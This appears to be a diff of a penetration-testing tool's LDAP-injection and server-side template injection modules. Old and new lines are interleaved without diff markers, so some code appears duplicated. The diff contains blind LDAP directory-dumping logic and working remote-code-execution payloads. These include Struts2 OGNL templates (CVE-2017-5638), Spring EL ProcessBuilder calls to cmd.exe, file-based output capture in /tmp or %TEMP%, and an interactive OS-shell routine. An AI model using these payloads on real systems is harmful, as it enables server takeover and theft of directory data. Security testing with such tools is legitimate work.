def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH, strict=False):
|
||||
value = ""
|
||||
probes = 0
|
||||
|
||||
for _ in xrange(maxLen):
|
||||
found = False
|
||||
try:
|
||||
for _ in xrange(maxLen):
|
||||
found = False
|
||||
|
||||
for cp in _CHARSET:
|
||||
candidate = value + chr(cp)
|
||||
probes += 1
|
||||
for cp in _CHARSET:
|
||||
candidate = value + chr(cp)
|
||||
probes += 1
|
||||
|
||||
if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)):
|
||||
value = candidate
|
||||
found = True
|
||||
if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)):
|
||||
value = candidate
|
||||
found = True
|
||||
break
|
||||
|
||||
if not found:
|
||||
break
|
||||
|
||||
if not found:
|
||||
break
|
||||
|
||||
# Three or more consecutive trailing spaces never occur in real
|
||||
# directory data. When the server-side LDAP-to-SQL translation
|
||||
# (or equivalent) spuriously matches a trailing-space probe (e.g.
|
||||
# mail=user@dom * matching user@dom), the extraction would
|
||||
# otherwise chase an endless phantom suffix. Terminate and strip.
|
||||
if value.endswith(" "):
|
||||
value = value.rstrip()
|
||||
break
|
||||
# Three or more consecutive trailing spaces never occur in real
|
||||
# directory data. When the server-side LDAP-to-SQL translation
|
||||
# (or equivalent) spuriously matches a trailing-space probe (e.g.
|
||||
# mail=user@dom * matching user@dom), the extraction would
|
||||
# otherwise chase an endless phantom suffix. Terminate and strip.
|
||||
if value.endswith(" "):
|
||||
value = value.rstrip()
|
||||
break
|
||||
except InconclusiveError:
|
||||
# a structural caller (entry-key enumeration) must SEE the abort to mark the dump partial - it
|
||||
# is NOT end-of-data; a per-value caller instead gets None and renders an inconclusive marker
|
||||
if strict:
|
||||
raise
|
||||
logger.warning("LDAP extraction aborted for attribute '%s' (oracle inconclusive after retries)" % attr)
|
||||
return None
|
||||
|
||||
logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value)))
|
||||
return value if value else None
|
||||
|
|
@ -538,15 +608,24 @@ def _probeRootDSE(oracle, builder):
|
|||
|
||||
def _enumerateEntryKeys(oracle, builder):
|
||||
for keyAttr in ENTRY_KEY_ATTRIBUTES:
|
||||
if not _exists(oracle, builder, keyAttr):
|
||||
continue
|
||||
try:
|
||||
if not _exists(oracle, builder, keyAttr):
|
||||
continue
|
||||
except InconclusiveError:
|
||||
continue # existence unknown for this key attr -> try next
|
||||
|
||||
values = []
|
||||
values, partial = [], False
|
||||
while len(values) < LDAP_MAX_RECORDS:
|
||||
exclusions = [(keyAttr, _) for _ in values]
|
||||
value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions)
|
||||
try:
|
||||
# strict: an inconclusive NEXT-entry key probe is UNKNOWN, not the end of the directory
|
||||
value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions, strict=True)
|
||||
except InconclusiveError:
|
||||
partial = True
|
||||
logger.warning("directory entry enumeration became inconclusive after %d entr%s; the dump is PARTIAL" % (len(values), "y" if len(values) == 1 else "ies"))
|
||||
break
|
||||
|
||||
if not value or value in values:
|
||||
if not value or value in values: # "" / repeat -> genuine end
|
||||
break
|
||||
|
||||
values.append(value)
|
||||
|
|
@ -555,13 +634,14 @@ def _enumerateEntryKeys(oracle, builder):
|
|||
if values:
|
||||
if len(values) >= LDAP_MAX_RECORDS:
|
||||
logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS)
|
||||
return keyAttr, values
|
||||
partial = True # a truncated cap is NOT a complete dump
|
||||
return keyAttr, values, partial
|
||||
|
||||
return None, []
|
||||
return None, [], False
|
||||
|
||||
|
||||
def _dumpEntries(oracle, builder, place, parameter):
|
||||
keyAttr, keys = _enumerateEntryKeys(oracle, builder)
|
||||
keyAttr, keys, partial = _enumerateEntryKeys(oracle, builder)
|
||||
if not keys:
|
||||
logger.warning("could not identify a stable directory entry key")
|
||||
return False
|
||||
|
|
@ -579,21 +659,25 @@ def _dumpEntries(oracle, builder, place, parameter):
|
|||
continue
|
||||
|
||||
logger.info("probing attribute '%s'" % attr)
|
||||
if not _exists(oracle, builder, attr, constraint=constraint):
|
||||
continue
|
||||
|
||||
try:
|
||||
if not _exists(oracle, builder, attr, constraint=constraint):
|
||||
continue
|
||||
except InconclusiveError:
|
||||
continue # existence unknown -> skip this attribute
|
||||
# an attribute confirmed to exist but whose value is inconclusive must show the marker, NOT
|
||||
# be silently omitted (which would read as "attribute absent")
|
||||
value = _inferAttribute(oracle, builder, attr, constraint=constraint)
|
||||
if value:
|
||||
row[attr] = value
|
||||
discovered.add(attr)
|
||||
row[attr] = INCONCLUSIVE_MARK if value is None else value
|
||||
discovered.add(attr)
|
||||
|
||||
rows.append(row)
|
||||
|
||||
columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered]
|
||||
tableRows = [tuple(row.get(column, "") for column in columns) for row in rows]
|
||||
|
||||
logger.info("dumped %d entr%s" % (len(rows), "y" if len(rows) == 1 else "ies"))
|
||||
_dumpTable("LDAP: %s parameter '%s' directory entries" % (place, parameter), columns, tableRows)
|
||||
completeness = " (PARTIAL - entry enumeration aborted, oracle inconclusive)" if partial else ""
|
||||
logger.info("dumped %d entr%s%s" % (len(rows), "y" if len(rows) == 1 else "ies", completeness))
|
||||
_dumpTable("LDAP: %s parameter '%s' directory entries%s" % (place, parameter, completeness), columns, tableRows)
|
||||
return True
|
||||
|
||||
|
||||
|
|
@ -604,22 +688,20 @@ def _dumpMultiValues(oracle, builder, place, parameter):
|
|||
if not _exists(oracle, builder, attr):
|
||||
continue
|
||||
|
||||
# Multi-valued attributes (member, memberOf, ...) carry several values;
|
||||
# walk them by excluding each recovered value from the next probe, exactly
|
||||
# like _enumerateEntryKeys does for entry keys.
|
||||
values = []
|
||||
while len(values) < LDAP_MAX_RECORDS:
|
||||
exclusions = [(attr, _) for _ in values]
|
||||
value = _inferAttribute(oracle, builder, attr, exclusions=exclusions)
|
||||
if not value or value in values:
|
||||
break
|
||||
values.append(value)
|
||||
|
||||
if values:
|
||||
if len(values) >= LDAP_MAX_RECORDS:
|
||||
logger.warning("attribute '%s' hit the LDAP_MAX_RECORDS (%d) cap; some values may be omitted" % (attr, LDAP_MAX_RECORDS))
|
||||
logger.info("fetched %d value%s from attribute '%s'" % (len(values), "" if len(values) == 1 else "s", attr))
|
||||
_dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(_,) for _ in values])
|
||||
# Multi-valued attributes (member, memberOf, uniqueMember) can hold several values in ONE entry.
|
||||
# LDAP filters are ENTRY-scoped, so the intuitive "exclude each recovered value to get the next"
|
||||
# walk is WRONG: (!(member=A)) excludes the whole ENTRY that holds member=A, so a second value of
|
||||
# the SAME entry can never surface, and the probe may instead match a DIFFERENT entry that also
|
||||
# carries the attribute - silently mixing entries while claiming a complete multi-value dump.
|
||||
# Recovering one value per attribute and labelling it honestly is correct; true per-value
|
||||
# enumeration needs a unique-entry binding or AD ranged retrieval (member;range=0-*), not
|
||||
# negation. Report the single recovered value as exactly that.
|
||||
value = _inferAttribute(oracle, builder, attr)
|
||||
if value:
|
||||
logger.info("recovered one matching value of multi-valued attribute '%s' "
|
||||
"(full per-value enumeration is not proven over entry-scoped LDAP filters)" % attr)
|
||||
_dumpTable("LDAP: %s parameter '%s' '%s' (one matching value, NOT full multi-value enumeration)" % (place, parameter, attr),
|
||||
[attr], [(value,)])
|
||||
dumped = True
|
||||
|
||||
return dumped
|
||||
|
|
@ -686,22 +768,28 @@ def ldapScan():
|
|||
if template and breakout:
|
||||
found += 1
|
||||
backend = backendHint or None
|
||||
logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic"))
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
oracle = _makeOracle(place, parameter, template)
|
||||
slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout))
|
||||
oracle = _makeOracle(place, parameter, breakout)
|
||||
if oracle is None:
|
||||
# detection confirmed, but the extraction true/false models are not reliably
|
||||
# separable -> report the finding WITHOUT dumping (never fabricate directory data)
|
||||
logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s'); "
|
||||
"extraction disabled (true/false models not reliably separable)" % (place, parameter, backend or "Generic"))
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP boolean-based blind (extraction unavailable)\n Payload: %s\n---" % (parameter, place, payload))
|
||||
continue
|
||||
logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic"))
|
||||
slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=oracle.template, payload=payload, breakout=breakout))
|
||||
continue
|
||||
|
||||
# Phase 3: wildcard auth bypass (credential fields only).
|
||||
# Phase 3: wildcard behavior on a credential field. A `*`-vs-random response difference is
|
||||
# NOT a confirmed authentication bypass: it proves neither a query-boundary escape nor an
|
||||
# authenticated-state transition (no redirect / session cookie / success-marker check here).
|
||||
# Report it as INFORMATIONAL only - a confirmed bypass needs a real authenticated-state proof.
|
||||
bypass = _detectAuthBypass(place, parameter)
|
||||
if bypass:
|
||||
found += 1
|
||||
logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter))
|
||||
if conf.beep:
|
||||
beep()
|
||||
slots.append(Slot(place=place, parameter=parameter, bypass=bypass))
|
||||
logger.info("%s parameter '%s': wildcard '*' changes the response (possible LDAP filter influence / auth-bypass surface) - INFORMATIONAL, not a confirmed injection (no authenticated-state transition verified)" % (place, parameter))
|
||||
continue
|
||||
|
||||
# Parser-error alone is not exploitable -- log it but do not
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -23,6 +23,8 @@ from lib.core.enums import PLACE
|
|||
from lib.core.settings import SSTI_ERROR_SIGNATURES
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.nonsql import ratio as _ratio
|
||||
from lib.utils.nonsql import blockedStatus
|
||||
from thirdparty.six.moves.urllib.parse import quote as _quote
|
||||
|
||||
|
||||
|
|
@ -211,8 +213,6 @@ _ENGINE_TABLE = (
|
|||
)
|
||||
|
||||
|
||||
def _ratio(first, second):
|
||||
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
|
||||
|
||||
|
||||
def _delim(place):
|
||||
|
|
@ -273,11 +273,15 @@ def _send(place, parameter, value):
|
|||
kwargs = {"raise404": False, "silent": True}
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
page, _, _ = Request.getPage(**kwargs)
|
||||
page, _, code = Request.getPage(**kwargs)
|
||||
# a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample -
|
||||
# signal None so the detection routines (which reject None) can never decide on it
|
||||
if blockedStatus(code):
|
||||
return None
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("SSTI probe request failed: %s" % getUnicode(ex))
|
||||
return ""
|
||||
return None
|
||||
finally:
|
||||
conf.parameters[place] = old_params
|
||||
|
||||
|
|
@ -461,22 +465,39 @@ def _detectBoolean(place, parameter, engine):
|
|||
"""Establish a boolean oracle for this engine. Returns the true template or None."""
|
||||
original = _originalValue(place, parameter) or ""
|
||||
|
||||
# arithmetic-only engines (e.g. Struts2 OGNL) carry no boolean payloads - nothing to do here
|
||||
if not engine.booleanTrue or not engine.booleanFalse:
|
||||
return None
|
||||
|
||||
truePayload = original + engine.booleanTrue
|
||||
falsePayload = original + engine.booleanFalse
|
||||
|
||||
if engine.trueRendered:
|
||||
truePage = _send(place, parameter, truePayload)
|
||||
if not truePage:
|
||||
return None
|
||||
text = getUnicode(truePage)
|
||||
if truePayload in text or engine.trueRendered not in text:
|
||||
return None
|
||||
|
||||
# Reject reflected false payload
|
||||
truePage = _send(place, parameter, truePayload)
|
||||
falsePage = _send(place, parameter, falsePayload)
|
||||
if falsePage and falsePayload in getUnicode(falsePage):
|
||||
if not truePage or not falsePage:
|
||||
return None
|
||||
|
||||
trueText, falseText = getUnicode(truePage), getUnicode(falsePage)
|
||||
|
||||
# a raw payload surviving in the response means the template did NOT evaluate it
|
||||
if truePayload in trueText or falsePayload in falseText:
|
||||
return None
|
||||
|
||||
# an engine ERROR page is not a valid boolean rendering: a syntactically invalid true/false pair
|
||||
# that merely trips two DIFFERENT error messages would otherwise diverge and fake an oracle
|
||||
if _isError(truePage, engine) or _isError(falsePage, engine):
|
||||
return None
|
||||
|
||||
if engine.trueRendered:
|
||||
# attribution guard: the true marker must be ABSENT from the untouched baseline (else it is
|
||||
# page furniture, not our evaluated output), PRESENT in the true page, and ABSENT from the
|
||||
# false page - so the divergence is provably OUR rendered boolean, not incidental page drift
|
||||
baseline = getUnicode(_send(place, parameter, original) or "")
|
||||
if engine.trueRendered in baseline:
|
||||
return None
|
||||
if engine.trueRendered not in trueText or engine.trueRendered in falseText:
|
||||
return None
|
||||
|
||||
return _boolean(lambda p=truePayload: _send(place, parameter, p),
|
||||
lambda p=falsePayload: _send(place, parameter, p))
|
||||
|
||||
|
|
@ -561,7 +582,12 @@ def _fingerprint(place, parameter):
|
|||
if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS:
|
||||
break
|
||||
|
||||
if bestEngine and bestScore >= 3:
|
||||
# CONFIRMED requires an EVALUATION proof - in-band arithmetic (randomized pair) or a template
|
||||
# boolean oracle. Weak signals (error / distinguishing / family) are NOT summed into a
|
||||
# confirmation: the old `score >= 3` let boolean+error, distinguishing+error, or even a lone
|
||||
# generic parser error "confirm" SSTI with no proof the template actually evaluated our input
|
||||
# (and then drive automatic RCE on an unproven finding).
|
||||
if bestEngine and (bestEvidence.get("arithmetic") or bestEvidence.get("boolean")):
|
||||
# For engines with ambiguous delimiters (shared by multiple engines),
|
||||
# name a specific engine when: error fingerprint, distinguishing probe,
|
||||
# or boolean rendering is unique within the delimiter family.
|
||||
|
|
@ -580,20 +606,20 @@ def _fingerprint(place, parameter):
|
|||
name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name))
|
||||
return bestEngine, bestEvidence
|
||||
|
||||
# Fallback: generic error detection
|
||||
errorBackend = None
|
||||
# weak signals only (parser reachable, but NO evaluation proof) -> informational, NOT confirmed
|
||||
if bestEngine and bestScore >= 1:
|
||||
logger.info("%s parameter '%s' reaches a template parser (evidence: %s) but SSTI is NOT "
|
||||
"confirmed - no arithmetic/boolean evaluation proof" % (place, parameter, ",".join(sorted(bestEvidence)) or "error"))
|
||||
return None, None
|
||||
|
||||
# generic parser-family error only -> informational, never a confirmed engine
|
||||
for suffix in ("{{", "${", "<%=", "#{"):
|
||||
page = _send(place, parameter, _originalValue(place, parameter) + suffix)
|
||||
if page:
|
||||
backend = _backendFromError(page)
|
||||
if backend:
|
||||
errorBackend = backend
|
||||
break
|
||||
|
||||
if errorBackend:
|
||||
for engine in _ENGINE_TABLE:
|
||||
if engine.name.lower() in errorBackend.lower():
|
||||
return engine, {"error": True}
|
||||
backend = _backendFromError(page) if page else None
|
||||
if backend:
|
||||
logger.info("%s parameter '%s' triggers a %s template-parser error, but SSTI is NOT "
|
||||
"confirmed (no evaluation proof)" % (place, parameter, backend))
|
||||
break
|
||||
|
||||
return None, None
|
||||
|
||||
|
|
@ -605,8 +631,11 @@ def sstiScan():
|
|||
logger.debug(debugMsg)
|
||||
|
||||
# CVE-2017-5638 (S2-045): OGNL via the Content-Type header - a distinct, non-reflected Struts2
|
||||
# vector that needs no request parameter, so it is probed once up front.
|
||||
if _probeStruts2Header(conf.url):
|
||||
# vector that needs no request parameter, so it is probed once up front. Reporting it must NOT
|
||||
# short-circuit the rest of the scan: request PARAMETERS can be independently SSTI-injectable and
|
||||
# were previously never tested once this fired.
|
||||
struts2 = _probeStruts2Header(conf.url)
|
||||
if struts2:
|
||||
logger.info("%s header is vulnerable to SSTI (back-end: 'Struts2 (OGNL)', CVE-2017-5638)" % HTTP_HEADER.CONTENT_TYPE)
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
|
@ -621,11 +650,12 @@ def sstiScan():
|
|||
_dumpS2045(conf.url, conf.osCmd)
|
||||
if conf.get("osShell"):
|
||||
_osShell(lambda cmd: _dumpS2045(conf.url, cmd))
|
||||
logger.info("SSTI scan complete")
|
||||
return
|
||||
|
||||
if not conf.paramDict:
|
||||
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
||||
if not struts2:
|
||||
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
||||
else:
|
||||
logger.info("SSTI scan complete")
|
||||
return
|
||||
|
||||
tested = 0
|
||||
|
|
@ -649,7 +679,10 @@ def sstiScan():
|
|||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if engine.arithmeticFmt:
|
||||
# report the payload that ACTUALLY proved the finding, not merely one the engine
|
||||
# supports - showing the 7*7 arithmetic payload when only the boolean oracle fired
|
||||
# misrepresents what was tested
|
||||
if evidence.get("arithmetic") and engine.arithmeticFmt:
|
||||
payload = _originalValue(place, parameter) + _arithmeticPayload(engine.arithmeticFmt, 7, 7)
|
||||
else:
|
||||
payload = _originalValue(place, parameter) + engine.booleanTrue
|
||||
|
|
@ -676,31 +709,44 @@ def sstiScan():
|
|||
logger.info("back-end template engines: %s" % ", ".join(sorted(engines)))
|
||||
|
||||
if found:
|
||||
slot = found[0]
|
||||
place, parameter, engine, evidence = slot
|
||||
|
||||
wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell"))
|
||||
|
||||
# If the user did not ask for exploitation, confirm (benignly) whether OS command
|
||||
# execution is reachable and, if so, advise the relevant switches.
|
||||
if not wantsTakeover and _canTakeover(engine, evidence) and _probeRce(place, parameter, engine):
|
||||
logger.info("the back-end '%s' allows OS command execution via this injection; "
|
||||
"you are advised to try '--os-shell' (interactive) or "
|
||||
"'--os-cmd=<command>' (single command)" % engine.name)
|
||||
# Rank ALL confirmed vectors, not just found[0]: automatic exploitation must select the
|
||||
# strongest VERIFIED takeover vector - the first confirmed slot may not support command
|
||||
# execution while a later one does. Candidates are the exact-engine, proof-backed slots; the
|
||||
# winner is the first whose reflection-proof RCE capability actually confirms.
|
||||
candidates = [(pl, pr, en, ev) for (pl, pr, en, ev) in found if _canTakeover(en, ev)]
|
||||
rceSlot = None
|
||||
for pl, pr, en, ev in candidates:
|
||||
if _probeRce(pl, pr, en):
|
||||
rceSlot = (pl, pr, en, ev)
|
||||
break
|
||||
|
||||
# `--ssti` is an auxiliary, self-contained switch, so once SSTI is confirmed we AUTOMATICALLY
|
||||
# probe whether OS command execution is reachable and advise the takeover switches. Users of
|
||||
# this niche switch generally don't know to try --os-shell/--os-cmd (actual execution still
|
||||
# requires those switches).
|
||||
if not wantsTakeover:
|
||||
if rceSlot:
|
||||
_, _, en, _ = rceSlot
|
||||
logger.info("the back-end '%s' allows OS command execution via %s parameter '%s'; you "
|
||||
"are advised to try '--os-shell' (interactive) or '--os-cmd=<command>' "
|
||||
"(single command)" % (en.name, rceSlot[0], rceSlot[1]))
|
||||
# --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags)
|
||||
if conf.get("osCmd") or conf.get("osShell"):
|
||||
if not _canTakeover(engine, evidence):
|
||||
logger.error("takeover requires exact engine fingerprint (got '%s') and "
|
||||
"confirmed proof (arithmetic or boolean oracle)" % engine.name)
|
||||
else:
|
||||
if conf.get("osCmd"):
|
||||
_executeCommand(place, parameter, engine, conf.osCmd)
|
||||
elif not candidates:
|
||||
logger.error("takeover requires an exact engine fingerprint and confirmed proof "
|
||||
"(arithmetic or boolean oracle); none of the confirmed vectors qualify")
|
||||
else:
|
||||
# prefer the capability-verified vector; fall back to the first takeover-capable candidate
|
||||
# (the user explicitly asked, and _executeCommand carries its own capture fallbacks)
|
||||
pl, pr, en, ev = rceSlot or candidates[0]
|
||||
if conf.get("osCmd"):
|
||||
_executeCommand(pl, pr, en, conf.osCmd)
|
||||
|
||||
# Interactive shell runs even under --batch (mirrors the SQL --os-shell, which
|
||||
# reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it.
|
||||
if conf.get("osShell"):
|
||||
_osShell(lambda cmd: _executeCommand(place, parameter, engine, cmd))
|
||||
# Interactive shell runs even under --batch (mirrors the SQL --os-shell, which reads
|
||||
# commands straight from the terminal); EOF / 'exit' / 'quit' leaves it.
|
||||
if conf.get("osShell"):
|
||||
_osShell(lambda cmd: _executeCommand(pl, pr, en, cmd))
|
||||
|
||||
logger.info("SSTI scan complete")
|
||||
|
||||
|
|
@ -738,6 +784,58 @@ _FILE_RCE = {
|
|||
),
|
||||
}
|
||||
|
||||
# Windows variants of the Java file-based channel: exec via cmd.exe (/bin/sh does not exist), read back
|
||||
# the same way. Selected by _fileRceCapture when the Unix family did not confirm execution.
|
||||
_FILE_RCE_WINDOWS = {
|
||||
"Spring EL / Thymeleaf": (
|
||||
"${new ProcessBuilder(new String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'}).start()}",
|
||||
"${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}",
|
||||
),
|
||||
"Struts2 (OGNL)": (
|
||||
"%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}",
|
||||
"%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}",
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
# --- OS/shell-family RCE command builders -----------------------------------
|
||||
# Reflection-proof primitives per family; `_probeRce`/`_executeCommand` try each family (Unix first) so
|
||||
# takeover works on a Windows-hosted template engine without a separate OS-detection round-trip.
|
||||
# challenge(a, b) -> a command whose STDOUT is the derived product a*b (never in the request)
|
||||
# framed(cmd, sa, sb, ea, eb) -> a command printing <sa><sb><cmd-stdout><ea><eb>, the markers built by
|
||||
# RUNTIME concatenation so the completed marker never appears in the request
|
||||
def _unixChallenge(a, b):
|
||||
return "echo $((%d*%d))" % (a, b)
|
||||
|
||||
|
||||
def _winChallenge(a, b):
|
||||
# `set /a` evaluates integer arithmetic and prints the result; cmd /c so it runs even when the engine
|
||||
# execs a binary directly (Runtime.exec) rather than through a shell
|
||||
return "cmd /c set /a %d*%d" % (a, b)
|
||||
|
||||
|
||||
def _unixFramed(cmd, sa, sb, ea, eb):
|
||||
# printf concatenates its two %s (sa+sb / ea+eb) at runtime; the request carries them separated
|
||||
return "printf %%s%%s %s %s; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb)
|
||||
|
||||
|
||||
def _winFramed(cmd, sa, sb, ea, eb):
|
||||
# `echo|set /p=X` prints X with NO trailing newline; `&` sequences the commands, so stdout is the
|
||||
# runtime concatenation <sa><sb><cmd-stdout><ea><eb> - the joined markers are absent from the request
|
||||
return 'cmd /c "echo|set /p=%s&echo|set /p=%s&%s&echo|set /p=%s&echo|set /p=%s"' % (sa, sb, cmd, ea, eb)
|
||||
|
||||
|
||||
_SHELL_FAMILIES = (
|
||||
("unix", _unixChallenge, _unixFramed),
|
||||
("windows", _winChallenge, _winFramed),
|
||||
)
|
||||
|
||||
# per-family temp file + cleanup for the Java file-based channel
|
||||
_FILE_TEMP = {
|
||||
"unix": (lambda name: "/tmp/%s" % name, _FILE_RCE, lambda f: "rm -f %s" % f),
|
||||
"windows": (lambda name: "%%TEMP%%\\%s" % name, _FILE_RCE_WINDOWS, lambda f: "cmd /c del /q %s" % f),
|
||||
}
|
||||
|
||||
|
||||
def _commandOutput(page, baseline, original, payload, engine):
|
||||
"""Extract genuine command output from a response via baseline diff, rejecting error pages and
|
||||
|
|
@ -764,7 +862,10 @@ def _commandOutput(page, baseline, original, payload, engine):
|
|||
output = output.strip()
|
||||
|
||||
# A template that ECHOED our payload directive instead of executing it is reflection, not output.
|
||||
if output and output in payload:
|
||||
# The test is whether the injected DIRECTIVE leaked into the response (payload fragment present in
|
||||
# output), NOT whether the output happens to be a substring of the payload - the latter discarded
|
||||
# legitimate results such as `echo hello` -> "hello" (naturally a substring of "...echo hello...").
|
||||
if output and payload and (payload in output or _ratio(output, payload) >= UPPER_RATIO_BOUND):
|
||||
return None
|
||||
|
||||
# A bare Process-object toString ("Process[pid=..]" on JDK9+, "java.lang.UNIXProcess@.."/"ProcessImpl@.."
|
||||
|
|
@ -782,72 +883,167 @@ def _commandOutput(page, baseline, original, payload, engine):
|
|||
|
||||
def _fileRceCapture(place, parameter, engine, original, cmd, extract):
|
||||
"""Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload
|
||||
(redirects the command's output to a random temp file), then poll-read that file. 'extract' is a
|
||||
callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(),
|
||||
so the read is retried a few times. Returns whatever 'extract' yields, else None."""
|
||||
spec = _FILE_RCE.get(engine.name)
|
||||
if not spec:
|
||||
return None
|
||||
(redirects the command's output to a random temp file), then poll-read that file. Tries the Unix
|
||||
family (/tmp, /bin/sh) then the Windows family (%TEMP%, cmd.exe). 'extract' is a callback
|
||||
(readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), so the read
|
||||
is retried a few times. Returns whatever 'extract' yields, else None."""
|
||||
for family, (tempPath, specs, cleanupCmd) in _FILE_TEMP.items():
|
||||
spec = specs.get(engine.name)
|
||||
if not spec:
|
||||
continue
|
||||
|
||||
execTemplate, readTemplate = spec
|
||||
outFile = "/tmp/%s" % randomStr(length=12, lowercase=True)
|
||||
execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile)
|
||||
_send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored
|
||||
execTemplate, readTemplate = spec
|
||||
outFile = tempPath(randomStr(length=12, lowercase=True))
|
||||
execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile)
|
||||
_send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored
|
||||
|
||||
readPayload = readTemplate.replace("{OUTFILE}", outFile)
|
||||
for _ in range(3):
|
||||
page = _send(place, parameter, original + readPayload)
|
||||
result = extract(readPayload, page)
|
||||
readPayload = readTemplate.replace("{OUTFILE}", outFile)
|
||||
result = None
|
||||
for _ in range(3):
|
||||
page = _send(place, parameter, original + readPayload)
|
||||
result = extract(readPayload, page)
|
||||
if result is not None:
|
||||
break
|
||||
time.sleep(1)
|
||||
|
||||
# best-effort cleanup: don't leave the random temp file behind on the target
|
||||
try:
|
||||
cleanup = execTemplate.replace("{CMD}", _escapeSingleQuoted(cleanupCmd(outFile))).replace("{OUTFILE}", outFile)
|
||||
_send(place, parameter, original + cleanup)
|
||||
except Exception:
|
||||
pass
|
||||
if result is not None:
|
||||
return result
|
||||
time.sleep(1)
|
||||
return None
|
||||
|
||||
|
||||
def _derivedExecuted(page, baseline, expected):
|
||||
"""Reflection-proof proof-of-execution test using a DERIVED challenge. The probe runs `echo
|
||||
$((A*B))`: only A and B appear in the request, never their product. A template/app that merely
|
||||
REFLECTS the request - raw, URL-encoded, HTML-escaped, or otherwise transformed - therefore CANNOT
|
||||
reproduce the product, because it is not present anywhere in the payload. So the product appearing
|
||||
in the response, and being absent from the untouched baseline, is genuine command output. Returns
|
||||
True or None (None keeps the _fileRceCapture callback contract)."""
|
||||
if not page or (baseline and expected in baseline):
|
||||
return None
|
||||
return True if expected in page else None
|
||||
|
||||
|
||||
def _probeRce(place, parameter, engine):
|
||||
"""Benign, quiet RCE-capability check: run `echo <marker>` via the engine's RCE payloads and
|
||||
return True if the marker is reflected (proving OS command execution is reachable). Used only
|
||||
to advise the user; it has no side effect beyond echoing a random token."""
|
||||
"""Quiet RCE-capability check: run a DERIVED arithmetic challenge (`echo $((A*B))`) via the engine's
|
||||
RCE payloads and confirm OS command execution is reachable. Used to advise the user once SSTI is
|
||||
confirmed. The expected result (the product) is NOT present in the request, so no reflection -
|
||||
encoded or not - can fake it (see _derivedExecuted); two independently-randomized confirmations are
|
||||
required. In-band capture is tried first; if blocked (e.g. a hardened JDK whose stdout capture is
|
||||
reflectively disabled) it confirms via the two-step file-based channel (inherently reflection-proof
|
||||
- the value comes from shell evaluation into a file we wrote - and self-cleans)."""
|
||||
|
||||
if not engine.rcePayloads:
|
||||
return False
|
||||
|
||||
marker = randomStr(length=12, lowercase=True)
|
||||
original = _originalValue(place, parameter) or ""
|
||||
for payloadTemplate, _description in engine.rcePayloads:
|
||||
payload = payloadTemplate.replace("{CMD}", "echo %s" % marker)
|
||||
page = _send(place, parameter, original + payload)
|
||||
if page and marker in getUnicode(page):
|
||||
return True
|
||||
baseline = getUnicode(_send(place, parameter, original) or "")
|
||||
|
||||
# in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel
|
||||
return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker,
|
||||
lambda readPayload, page: True if (page and marker in getUnicode(page)) else None))
|
||||
# COUNT confirmations, not loop iterations: a challenge whose product coincidentally collides with
|
||||
# the baseline is skipped and REGENERATED (it does not count as a confirmation), so an all-collision
|
||||
# run can never fall through the loop and return success with zero executed payloads.
|
||||
confirmed = generated = 0
|
||||
while confirmed < 2 and generated < 10:
|
||||
generated += 1
|
||||
